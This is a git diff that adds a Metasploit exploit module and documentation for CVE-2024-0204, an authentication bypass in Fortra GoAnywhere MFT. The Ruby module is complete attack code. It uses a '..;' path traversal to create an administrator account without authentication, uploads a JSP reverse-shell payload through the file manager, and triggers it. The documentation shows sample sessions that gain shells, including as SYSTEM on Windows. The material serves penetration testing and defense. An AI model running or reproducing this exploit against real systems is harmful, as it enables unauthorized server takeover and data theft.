diff --git a/documentation/modules/exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.md b/documentation/modules/exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.md new file mode 100644 index 000000000000..4410a1596fb5 --- /dev/null +++ b/documentation/modules/exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.md @@ -0,0 +1,166 @@ +## Vulnerable Application +This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to +create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere +MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable. + +## Testing +To test use Fortra GoAnywhere 7.4.0. You will need to register for a trial from the Fortra website in order to +receive a 30 day trial license. The portal where you receive a trial license will only let you download the most +recent version of the product, so you will also need to have access to an installer for an older, vulnerable version +of the product to install and test on. + +## Verification Steps +The exploits default target 0 (Automatic), will detect the target systems OS, so you do not need to specify the target +OS (Linux or Windows). + +1. Start msfconsole +2. `use exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204` +3. `set RHOST ` +4. `set target 0` +5. `set PAYLOAD java/jsp_shell_reverse_tcp` +6. `check` +7. `exploit` + +## Options + +### GOANYWHERE_INSTALL_PATH +This is the file system path to the GoAnywhere MFT installation. If the target is set to `Automatic`, then this path +will be discovered automatically. + +## Scenarios +The Automatic target will detect the GoAnywhere MFT servers OS and select the correct target, or you can explicitly +select a target platform (Linux or Windows). + +### Automatic (Linux) + +``` +msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options + +Module options (exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 10.100.1.30 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta + sploit.html + RPORT 8001 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI /goanywhere/ yes The base path to the web application + VHOST no HTTP server virtual host + + +Payload options (java/jsp_shell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 10.100.1.10 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + SHELL no The system shell to use. + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check +[*] 10.100.1.30:8001 - The target appears to be vulnerable. GoAnywhere MFT 7.4.0 +msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit + +[*] Started reverse TCP handler on 10.100.1.10:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. GoAnywhere MFT 7.4.0 +[*] Created account: uchvkpgt:ZindpxggDdvtrxu3 +[*] Automatic targeting, detected OS: Linux +[*] Automatic targeting, detected install path: /opt/HelpSystems/GoAnywhere +[*] Dropped payload: /opt/HelpSystems/GoAnywhere/adminroot/EIlMlYdQ.jsp +[+] Deleted /opt/HelpSystems/GoAnywhere/adminroot/EIlMlYdQ.jsp +[!] Tried to delete /opt/HelpSystems/GoAnywhere/userdata/documents/uchvkpgt/EIlMlYdQ.jsp, unknown result +[+] Deleted /opt/HelpSystems/GoAnywhere/userdata/documents/uchvkpgt/ +[*] Command shell session 4 opened (10.100.1.10:4444 -> 10.100.1.30:49572) at 2024-01-29 17:49:08 +0000 + +id +uid=1002(gamft) gid=1002(gamft) groups=1002(gamft) +pwd +/opt/HelpSystems/GoAnywhere +uname -a +Linux ubuntu-test-vm 6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12 18:54:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux +exit +[*] 10.100.1.30 - Command shell session 8 closed. +msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > +``` + +### Automatic (Windows) + +``` +msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options + +Module options (exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 10.100.1.20 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta + sploit.html + RPORT 8001 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI /goanywhere/ yes The base path to the web application + VHOST no HTTP server virtual host + + +Payload options (java/jsp_shell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 10.100.1.10 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + SHELL no The system shell to use. + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check +[*] 10.100.1.20:8001 - The target appears to be vulnerable. GoAnywhere MFT 7.4.0 +msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit + +[*] Started reverse TCP handler on 10.100.1.10:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. GoAnywhere MFT 7.4.0 +[*] Created account: ckgbeqlo:ib0Qk3cMDvnaipTP +[*] Automatic targeting, detected OS: Windows +[*] Automatic targeting, detected install path: C:\Program Files\Fortra\GoAnywhere +[*] Dropped payload: C:\Program Files\Fortra\GoAnywhere\adminroot\b9OvIFdK.jsp +[!] Tried to delete C:\Program Files\Fortra\GoAnywhere\adminroot\b9OvIFdK.jsp, unknown result +[!] Tried to delete C:\Program Files\Fortra\GoAnywhere\userdata\documents\ckgbeqlo\b9OvIFdK.jsp, unknown result +[*] Command shell session 9 opened (10.100.1.10:4444 -> 10.100.1.20:57059) at 2024-01-29 16:31:01 +0000 +[!] This exploit may require manual cleanup of 'C:\Program Files\Fortra\GoAnywhere\userdata\documents\ckgbeqlo\' on the target + + +Shell Banner: +Microsoft Windows [Version 10.0.20348.1607] +(c) Microsoft Corporation. All rights reserved. +----- + + +C:\Program Files\Fortra\GoAnywhere>whoami +whoami +nt authority\system + +C:\Program Files\Fortra\GoAnywhere>exit +exit +[*] 10.100.1.20 - Command shell session 9 closed. +msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > +``` diff --git a/modules/exploits/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.rb b/modules/exploits/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.rb new file mode 100644 index 000000000000..055840a37d89 --- /dev/null +++ b/modules/exploits/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.rb @@ -0,0 +1,380 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::FileDropper + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Fortra GoAnywhere MFT Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to + create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere + MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sfewer-r7', # MSF RCE Exploit + 'James Horseman', # Original auth bypass PoC/Analysis + 'Zach Hanley' # Original auth bypass PoC/Analysis + ], + 'References' => [ + ['CVE', '2024-0204'], + ['URL', 'https://www.fortra.com/security/advisory/fi-2024-001'], # Vendor Advisory + ['URL', 'https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/'] + ], + 'DisclosureDate' => '2024-01-22', + 'Platform' => %w[linux win], + 'Arch' => [ARCH_JAVA], + 'Privileged' => true, # Could be 'NT AUTHORITY\SYSTEM' on Windows, or a non-root user 'gamft' on Linux. + 'Targets' => [ + [ + # Tested on GoAnywhere 7.4.0 with the payload java/jsp_shell_reverse_tcp + 'Automatic', {} + ], + [ + 'Linux', + { + 'Platform' => 'linux', + 'GOANYWHERE_INSTALL_PATH' => '/opt/HelpSystems/GoAnywhere' + } + ], + [ + 'Windows', + { + 'Platform' => 'win', + 'GOANYWHERE_INSTALL_PATH' => 'C:\\Program Files\\Fortra\\GoAnywhere\\' + }, + ], + ], + 'DefaultOptions' => { + 'RPORT' => 8001, + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ + IOC_IN_LOGS, + # A new admin account is created, which the exploit can't destroy. + CONFIG_CHANGES, + # The upload may leave payload artifacts if the FileDropper mixins cleanup handlers cannot delete them. + ARTIFACTS_ON_DISK + ] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the web application', '/goanywhere/']), + ] + ) + end + + def check + # We can query an undocumented unauthenticated REST API endpoint and pull the version number. + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/rest/gacmd/v1/system') + ) + + return CheckCode::Unknown('Connection failed') unless res + + return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200 + + json_data = res.get_json_document + + product = json_data.dig('data', 'product') + + version = json_data.dig('data', 'version') + + return CheckCode::Unknown('No version information in response') if product.nil? || version.nil? + + # As per the Fortra advisory, the following version are affected: + # * Fortra GoAnywhere MFT 6.x from 6.0.1 + # * Fortra GoAnywhere MFT 7.x before 7.4.1 + # This seems to imply version 6.0.1 through to 7.4.0 (inclusive) are vulnerable. + if Rex::Version.new(version).between?(Rex::Version.new('6.0.1'), Rex::Version.new('7.4.0')) + return CheckCode::Appears("#{product} #{version}") + end + + Exploit::CheckCode::Safe("#{product} #{version}") + end + + def exploit + # CVE-2024-0204 allows an unauthenticated attacker to create a new administrator account on the target system. So + # we generate the username/password pair we want to use. + # Note: We cannot delete the administrator account that we create. + admin_username = Rex::Text.rand_text_alpha_lower(8) + admin_password = Rex::Text.rand_text_alphanumeric(16) + + # By using a double dot path segment with a semicolon in it, we can bypass the servers attempts to block access to + # the /wizard/InitialAccountSetup.xhtml endpoint that allows new admin account creation. As we leverage a double + # dot path segment, we need a directory to navigate down from, there are many available on the target so we pick + # a random one that we know works. + path_segments = %w[styles fonts auth help] + + path_segment = path_segments.sample + + # This is CVE-2024-0204... + initialaccountsetup_endpoint = "/#{path_segment}/..;/wizard/InitialAccountSetup.xhtml" + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, initialaccountsetup_endpoint), + 'keep_cookies' => true, + 'vars_post' => { + 'javax.faces.ViewState' => get_viewstate(initialaccountsetup_endpoint), + 'j_id_u:creteAdminGrid:username' => admin_username, + 'j_id_u:creteAdminGrid:password' => admin_password, + 'j_id_u:creteAdminGrid:password_hinput' => admin_password, + 'j_id_u:creteAdminGrid:confirmPassword' => admin_password, + 'j_id_u:creteAdminGrid:confirmPassword_hinput' => admin_password, + 'j_id_u:creteAdminGrid:submitButton' => '', + 'createAdminForm_SUBMIT' => 1 + } + ) + + # The method com.linoma.ga.ui.admin.users.InitialAccountSetupForm.InitialAccountSetupForm.submit will call method + # loginNewAdminUser and update our current session, so we dont need to manually login. + unless res&.code == 302 && res.headers['Location'] == normalize_uri(target_uri.path, 'Dashboard.xhtml') + fail_with(Failure::UnexpectedReply, "Unexpected reply 1 from #{initialaccountsetup_endpoint}") + end + + print_status("Created account: #{admin_username}:#{admin_password}. Note: This account will not be deleted by the module.") + + store_credentials(admin_username, admin_password) + + # Automatic targeting will detect the OS and product installation directory, by querying the About.xhtml page. + if target.name == 'Automatic' + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/help/About.xhtml'), + 'keep_cookies' => true + ) + + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Unexpected reply 2 from About.xhtml') + end + + # The OS name could be something like "Linux" or "Windows Server 2022". Under the hood, GoAnywhere is using + # the Java system property "os.name". + os_match = res.body.match(%r{(.+)}) + unless os_match + fail_with(Failure::UnexpectedReply, 'Did not locate OSName in About.xhtml') + end + + # To perform the JSP payload upload, we need to know the product installation path. + install_match = res.body.match(%r{(.+)}) + unless install_match + fail_with(Failure::UnexpectedReply, 'Did not locate goAnywhereHome in About.xhtml') + end + + # Find the Metasploit target (Linux/Windows) via a substring of the OS name we get back from GoAnywhere. + found_target = targets.find do |t| + os_match[1].downcase.include? t.name.downcase + end + + unless found_target + fail_with(Failure::NoTarget, "Unable to select an automatic target for '#{os_match[1]}'") + end + + # Dup the target we found, as we patch in the GOANYWHERE_INSTALL_PATH below. + detected_target = found_target.dup + + detected_target.opts['GOANYWHERE_INSTALL_PATH'] = install_match[1] + + print_status("Automatic targeting, detected OS: #{detected_target.name}") + print_status("Automatic targeting, detected install path: #{detected_target['GOANYWHERE_INSTALL_PATH']}") + else + detected_target = target + end + + # We are going to upload a JSP payload via the FileManager interface. We first have to get the FileManager, then + # change to the directory we want to upload to, then upload the file. + + path_separator = detected_target['Platform'] == 'win' ? '\\' : '/' + + # We drop the JSP payload to a location such as: /opt/HelpSystems/GoAnywhere/adminroot/PAYLOAD_NAME.jsp + adminroot_path = detected_target['GOANYWHERE_INSTALL_PATH'] + adminroot_path += path_separator unless adminroot_path.end_with? path_separator + adminroot_path += 'adminroot' + adminroot_path += path_separator + + viewstate = get_viewstate('/tools/filemanager/FileManager.xhtml') + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'), + 'keep_cookies' => true, + 'vars_post' => { + 'javax.faces.ViewState' => viewstate, + 'j_id_4u:j_id_4v:newPath_focus' => '', + 'j_id_4u:j_id_4v:newPath_input' => '/', + 'j_id_4u:j_id_4v:newPath_editableInput' => adminroot_path, + 'j_id_4u:j_id_4v:NewPathButton' => '', + 'j_id_4u_SUBMIT' => 1 + } + ) + + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Unexpected reply 4 from FileManager.xhtml') + end + + # We require a regID value form the page to upload a file, so we pull that out here. + vs_input = res.get_html_document.at('input[name="reqId"]') + + unless vs_input&.key? 'value' + fail_with(Failure::UnexpectedReply, 'Did not locate reqId in reply 4 from FileManager.xhtml') + end + + request_id = vs_input['value'] + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'), + 'keep_cookies' => true, + 'vars_post' => { + 'javax.faces.ViewState' => viewstate, + 'javax.faces.partial.ajax' => 'true', + 'javax.faces.source' => 'uploadID', + 'javax.faces.partial.execute' => 'uploadID', + 'javax.faces.partial.render' => '@none', + 'uploadID' => 'uploadID', + 'uploadID_sessionCheck' => 'true', + 'reqId' => request_id, + 'whenFileExists_focus' => '', + 'whenFileExists_input' => 'rename', + 'uploaderType' => 'filemanager', + 'j_id_4i_SUBMIT' => 1 + } + ) + + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Unexpected reply 5 from FileManager.xhtml') + end + + jsp_filename = Rex::Text.rand_text_alphanumeric(8) + '.jsp' + + message = Rex::MIME::Message.new + + message.add_part(request_id, nil, nil, 'form-data; name="reqId"') + message.add_part('', nil, nil, 'form-data; name="whenFileExists_focus"') + message.add_part('rename', nil, nil, 'form-data; name="whenFileExists_input"') + message.add_part('filemanager', nil, nil, 'form-data; name="uploaderType"') + message.add_part('1', nil, nil, 'form-data; name="j_id_4i_SUBMIT"') + message.add_part(viewstate, nil, nil, 'form-data; name="javax.faces.ViewState"') + message.add_part('true', nil, nil, 'form-data; name="javax.faces.partial.ajax"') + message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.partial.execute"') + message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.source"') + message.add_part('1', nil, nil, 'form-data; name="uniqueFileUploadId"') + message.add_part(payload.encoded, 'text/plain', nil, "form-data; name=\"uploadID\"; filename=\"#{jsp_filename}\"") + + # We can now upload our payload... + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'), + 'keep_cookies' => true, + 'ctype' => 'multipart/form-data; boundary=' + message.bound, + 'data' => message.to_s + ) + + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Unexpected reply 6 from FileManager.xhtml') + end + + # Register our payload so it is deleted when the session is created. + + jsp_filepath = adminroot_path + jsp_filename + + print_status("Dropped payload: #{jsp_filepath}") + + # We are using the FileDropper mixin to automatically delete this file after a session has been created. + register_file_for_cleanup(jsp_filepath) + + # A copy of the files this user uploads is left here: + # /opt/HelpSystems/GoAnywhere/userdata/documents/ADMIN_USERNAME/PAYLOAD_NAME.jsp + # We register these to be deleted, but they appear to be locked, preventing deleting. + userdoc_path = detected_target['GOANYWHERE_INSTALL_PATH'] + userdoc_path += path_separator unless userdoc_path.end_with? path_separator + userdoc_path += 'userdata' + userdoc_path += path_separator + userdoc_path += 'documents' + userdoc_path += path_separator + userdoc_path += admin_username + userdoc_path += path_separator + + register_file_for_cleanup(userdoc_path + jsp_filename) + + register_dir_for_cleanup(userdoc_path) + + # Finally, trigger our payload via a GET request... + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, jsp_filename) + ) + + # NOTE: it is not possible to delete the user account we created as we cant delete ourself either via the web + # interface or REST API. + end + + # Helper method to pull out a viewstate identifier from a requests HTML response. + def get_viewstate(endpoint) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, endpoint), + 'keep_cookies' => true + ) + + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, "Unexpected reply during get_viewstate via '#{endpoint}'.") + end + + vs_input = res.get_html_document.at('input[name="javax.faces.ViewState"]') + + unless vs_input&.key? 'value' + fail_with(Failure::UnexpectedReply, "Did not locate ViewState during get_viewstate via '#{endpoint}'.") + end + + vs_input['value'] + end + + def store_credentials(username, password) + service_data = { + address: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'GoAnywhere MFT Admin Interface', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: username, + private_data: password, + private_type: :password + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) + end +end